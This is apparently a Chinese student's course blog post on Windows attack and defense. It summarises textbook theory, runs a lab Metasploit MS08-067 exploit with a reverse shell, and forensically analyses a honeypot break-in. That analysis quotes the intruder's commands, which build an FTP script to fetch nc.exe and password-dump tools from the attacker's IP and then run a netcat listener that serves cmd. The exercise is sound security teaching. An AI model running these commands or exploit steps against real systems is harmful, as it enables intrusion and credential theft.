《网络攻防实践》8.0

20199110 2019-2020-2 《网络攻防实践》第七周作业

1.实践内容

第七章是Windows操作系统攻防,属于第三部分系统安全攻防技术与实践。本章内容包括Windows操作系统基本框架、Windows操作系统的安全体系结构与机制、Windows远程安全攻防技术、Windows本地安全攻防技术四大块内容。

1.1 Windows操作系统基本框架

Windows操作系统基本结构分为运行于处理器特权模式(ring 0)的操作系统内核和运行在处理器非特权模式(ring 3)的用户空间代码。Windows采用宏内核(monolithic)模式来进行架构,Windows操作系统内核的基本模块包括Windows执行体、Windows内核体、设备驱动程序等。Windows操作系统内核实现了Windows进程和线程管理机制、Windows内存管理机制、Windows文件管理机制、Windows注册表管理机制、Windows网络机制。

1.2 Windows操作系统的安全体系结构与机制

Windows操作系统基于引用监控器模型(Reference Monitor)来实现基本的对象安全模型。Windows操作系统中以安全主体概念来包含所有系统资源访问请求的实体对象有用户、用户组和计算机三大类。
Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。
Windows系统审计策略在本地安全策略中由系统管理员定义。除了身份认证、授权与访问控制、安全审计三个基本安全功能特性之外,Windows操作系统还引入了大量其他安全机制,包括集成了防火墙、补丁自动更新以及病毒防护的Windows安全中心。

1.3 Windows远程安全攻防技术

Windows远程攻击技术可分为远程口令猜测与破解攻击、攻击Windows网络服务、攻击Windows客户端及用户三大类。Windows系统的安全漏洞生命周期包括Windows安全漏洞发现、利用与修补过程,安全漏洞公开披露信息库,针对特定目标的渗透测试攻击过程,使用Metasploit软件实施渗透测试。

1.3.1 远程口令猜测与破解攻击

经常遭受远程口令字猜测攻击的Windows网络服务包括SMB协议、WMI服务、TS远程桌面终端服务等使用Windows身份认证机制的Web应用服务。第二种实施远程口令字攻击的经典技术是窃听网络上的口令字交换通信实施破解。

远程口令猜测与破解的防范措施有:

  • 设置较高安全强度的口令
  • 关闭不必要开放的易受攻击网络服务
  • 配置主机防火墙
  • 禁用过时且存在本质安全缺陷的LAnMan与NTLM
  • 制定和实施强口令策略

1.3.2 网络服务远程渗透攻击

Windows操作系统默认开放135(TCP)、137(UDP)、138(UDP)、139(TCP)、445(TCP)端口,对应网络服务为MSRPC远程调用服务、NetBIOS网络基本输入/输出系统服务和SMB文件与打印共享服务,而这些网络服务及本地服务一直以来都是Windows系统远程渗透攻击和恶意代码主动传播的主要目标。还有针对IIS Internet服务、MS SQL数据库服务等Windows系统上微软网络服务的远程渗透攻击,以及Windows系统上第三方网络服务的远程渗透攻击。

网络服务远程渗透攻击的防范措施有:

  • 软件设计开发时减少安全漏洞
  • 尽快更新与应用软件安全补丁
  • 对安全敏感的服务器测试和实施可用攻击缓解配置
  • 利用安全核对清单(Check List)对服务进行安全配置
  • 建立有效事件应急响应计划

1.4 Windows本地安全攻防技术

1.4.1 Windows本地特权提升

在攻击者获得Windows系统上的受限用户权限之后,立即进行终极特权:Administrator或Local System账户。这被称为特权提升(Privilege Escalation),或者简称为提权。Windows系统上提权攻击主要是通过DLL注入和破解本地程序安全漏洞。

1.4.2 Windows敏感信息窃取

本部分主要内容有Windows系统口令字密文提取技术(口令密文文件拷贝、redisk工具和pwdumpX系列工具)、Windows系统口令字破解技术(经典软件有L0phtCrack)、用户敏感数据窃取。
针对本地敏感信息窃取的防范措施有让所有用户选择好口令字、生物特征识别身份认证机制等。

1.4.3 Windows消踪灭迹

攻击者消除踪迹的手段包括关闭审计功能、清理事件日志等。针对消踪灭迹的防范措施有配置好系统审计与网络服务审计功能、服务器日志记录定期备份进行固化保全等。

1.4.4 Windows远程控制与后门程序

攻击者使用的远程控制与后门程序主要分为命令行远程控制工具(Netcat、Metasploit等)、图形化远程控制工具(VNC、Remote Admin、PCAnyware等)两大类。针对远程控制后门程序,可以采用后门检测软件(RootkitRevealer、IceSword等)来尝试发现攻击者隐藏的后门程序。

2.实践过程

任务一

动手实践:Metasploit Windows Attack
任务:使用Metasploit软件进行Windows远程渗透攻击实验。
具体任务内容:使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权。
实践步骤:
(1) 启动metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
(2) 使用exploit: windows/smb/ms08_067 _netapi渗透攻击模块;
(3) 选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
(4) 设置渗透攻击参数(RHOST, LHOST, TARGET等);
(5) 执行渗透攻击;
(6) 查看是否正确得到远程Shell,并查看获得的权限。

由于Windows系统两台机子均未安装metasploit,且安装包较大。本次操作选择kali(A)替代Windows attacker,靶机仍为Windows2kServer(B)。攻击目标漏洞为MS08-067。为确保两部机子在局域网状态,将两者适配器调整为VMnet8模式,Windows靶机IP自动分配。分别通过sudo ifconfigipconfig查到IP(A)为192.168.200.5、IP(B)为192.168.200.10

(1)通过输入sudo msfconsole指令进入操作台。

(2)首先通过search ms08_067查找,然后通过use exploit/windows/smb/ms08_067_netapi使用相关攻击脚本,set payload generic/shell_everse_tcp打开反向连接的载荷,分别使用set LHOST IP(A)set RHOST IP(B)进行表示攻击机IP地址和靶机IP地址设置;

(3)然后使用exploit进行攻击,然后运行shell指令来开启靶机的shell,并用ipconfig来来查看shell是否正确执行。通过和靶机端对比,攻击成功。

(4)在c盘下mkdir msfconsole新建msfconsole目录,然后通过dir查询。回到靶机,在c盘下存在msfconsole文件夹。通过此操作,我们可以确信获得权限不低。

任务二

取证分析实践:解码—次成功的NT系统破解攻击。
来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为:lab.wiretrip.net), 这是一次非常典型的针对NT系统的攻击, 而且找们有理由相信攻击者最终识别了蜜罐主机, 因此这将是一个非常有趣的案例分析挑战。
你的分析数据源只有包含整个攻击过程的二进制记录文件,而你的任务就是从这个文件中提取并分析攻击的全部过程。
(1)攻击者使用了什么破解工具进行攻击?
(2)攻击者如何使用这个破解工具进入并控制了系统?
(3)当攻击者获得系统的访问权后做了什么?
(4)我们如何防止这样的攻击?
(5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是, 为什么?

针对(1),有

(I)首先根据题目筛选下ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106,可以发现攻击者一开始进行了HTTP访问。在这里也可以看到客户端的操作系统等内容。

(II)接下来我们继续找到编号117,发现攻击者打开了系统启动文件boot.ini,同时%C0%AF字符,%C0%AF/Unicode编码,如果了解了上面的Unicode编码攻击,这里很容易看出来这是这类攻击。

(III)随后我们观察到编号130和编号140中含有msadc,很明显,这是进行探测的过程。

(IV)随后在编号149,通过追踪tcp流,发现这是一个SQL注入攻击,select * from customers where表明这是数据库操作。执行的命令是cmd /c echo werd >> c:\fun,所以确定这是一次基于MSADCS RDS的漏洞攻击。

(V)我们不难发现ADM!ROX!YOUR!WORLD字符串出现的频率很高,通过下面的查询,我们发现这是一个名为msadc2.pl工具发起的攻击,同时也给出了具体的使用参数perl msacs2.pl -h www.victim.com

针对(2),有

(I)接下里去掉筛选条件,继续往下看,从会话1778-80开始,我们通过追踪TCP流,发现其指令为cmd /c echo user johna2k > ftpcom,跟随这个数据包继续往下查找,一次可以看到下列的指令:cmd /c echo hacker2000 > ftpcom cmd /c echo get samdump.dll > ftpcom cmd /c echo get pdump.exe > ftpcom cmd /c echo get nc.exe > ftpcom cmd /c ftp -s:ftpcom -n www.nether.net(攻击者首先创建了一个ftpcom脚本,并使用 ftp连接www.nether.net(给出了用户名密码),尝试下载 samdump.dll、pdump.exe和nc.exe(攻击工具))

(II)继续查看会话1791-80之后出现了ftp的连接,目标IP为204.42.253.18。直接筛选ftp连接,找到成功的ftp连接。直到编号1106,我们发现此时的ftp服务器IP竟然是攻击者自己的IP。

(III)接下来我们观察成功ftp连接之前攻击者发送的指令。通过观察,可以发现这次的攻击不是RDS攻击,而是Unicode漏洞攻击。通过追踪TCP流,发现攻击者发送了以下指令:

copy C:\winnt\system32\cmd.exe cmd1.exe
cmd1.exe /c open 213.116.251.162 >ftpcom
cmd1.exe /c echo johna2k >>ftpcom
cmd1.exe /c echo haxedj00 >>ftpcom
cmd1.exe /c echo get nc.exe >>ftpcom
cmd1.exe /c echo get pdump.exe >>ftpcom
cmd1.exe /c echo get samdump.dll >>ftpcom
cmd1.exe /c echo quit >>ftpcom

(IV)继续查看攻击者ftp服务结束之后的指令。在下载完文件之后,攻击者执行了这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe。表示攻击者连接了6969端口,并且获得了访问权限。至此,攻击者完成了进入系统并且获得访问权的过程。

针对(3),有

(I)首先我们用条件tcp.port == 6969筛选一下,然后追踪一下TCP流来查看攻击者的行为。

(2)通过tcp流分析,攻击者使用指令一览无余。

针对(4),有

防范攻击的措施有:

  • 使用强口令,降低碰撞概率
  • 及时修补漏洞,对漏洞打上相应的补丁
  • 防火墙封禁网络内部服务器发起的连接
  • 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能
  • 使用 IIS Lockdown 和 URLScan 等工具加强 web server

针对(5),有

通过分析攻击者留下的信息,我们可以看到攻击者已经发现了honeypot。

任务三

团队对抗实践:Windows系统远程渗透攻击与分析。
攻防对抗实践内容:攻击方Metasploit Windows Attack, 防御方:wireshark捕获攻击流,分析出攻击哪个安全漏洞,从官方网站上下载该安全漏洞补丁进行修补,给出攻防过程报告。
攻击方:使用metasploit, 选择metasploitable中的漏洞进行渗透攻击,获得控制权。
防守方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode, 以及攻击成功之后在本地执行的命令输入等信息。
团队共同合作完成渗透攻击与分析实验报告。

(1)前期操作与任务一类似,在完成任务一(1)操作后,打开Wireshark开始监听,然后再进行exploit攻击。进入Wireshark,我们得到源地址为192.168.200.5,源端口为45585;目标地址为192.168.200.10,目标端口为445;攻击发起是从ARP协议的询问开始。

(2)进一步分析,我们发现攻击机向靶机发了许多SMB数据包。攻击利用的漏洞有:针对SMB网络服务的漏洞、DCERPC解析器拒绝服务漏洞、SPOOLSS打印服务假冒漏洞。攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等在任务一中有体现。

3.学习中遇到的问题及解决

  • 问题1:在选择攻击机时,Windows attacker未安装相关软件,且在虚拟机上安装较为麻烦。

  • 问题1解决方案:选择kali机作为攻击机进行实践,实践效果良好。

  • 问题2:在配置完win2kserver之后无法查询ip,且无法ping通攻击机。

  • 问题2解决方案:在重启之后,问题得到解决。win2kserver可以ping通kali,不能ping通外网。

4.实践总结

本次实践操作本应全在Windows上进行,但是因为设备原因,攻击机选择了Linux系统的kali。这一对比说明了Linux系统在网络攻防中的优势地位,同时也反映了Linux系统在工具安装中的易操作性和便携性。

在使用Wireshark对二进制文件进行分析时,因为相关知识储备不是很足,存在很多盲区。在参考解建国和李忠兰两位同学的博客之后,才顺利完成实践任务。

参考资料

posted @ 2020-04-15 14:54  y1150182239  阅读(514)  评论(0编辑  收藏  举报